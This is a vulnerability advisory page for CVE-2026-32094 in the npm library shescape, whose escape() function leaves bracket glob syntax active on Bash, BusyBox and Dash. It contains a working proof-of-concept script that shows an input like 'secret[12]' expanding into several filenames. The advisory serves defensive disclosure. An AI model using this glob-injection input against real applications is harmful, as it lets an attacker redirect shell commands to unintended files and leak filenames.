CVE-2026-32094 — shescape
Fix: ericcornelissen/shescape@6add105CVE-2026-32094 is a Information Exposure vulnerability in shescape. A fix is available for shescape — see the affected versions and patch details below.
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32094.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
shescapenpmDescription
Summary
Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.
Details
The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:
src/internal/unix/bash.js:14-30src/internal/unix/busybox.js:14-30src/internal/unix/dash.js:12-19
They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).
Proof of Concept
Use the published npm tarball without modifications:
tmp=$(mktemp -d)
cd "$tmp"
npm pack [email protected] >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev
node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";
const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");
for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
const shescape = new Shescape({ shell });
const escaped = shescape.escape("secret[12]");
console.log(${shell} escaped=${escaped});
const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
process.stdout.write(out);
}
NODE
Output:
/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>
Expected: the shell receives secret\[12\], so only one literal argument runs.
Impact
Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | shescape | all versions | 2.1.10npm install shescape@2.1.10 |
Affected Products
shescapeshescape_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shescape, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update shescape to 2.1.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32094 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-32094 in your dependencies?
Find it across npm, including transitive dependencies.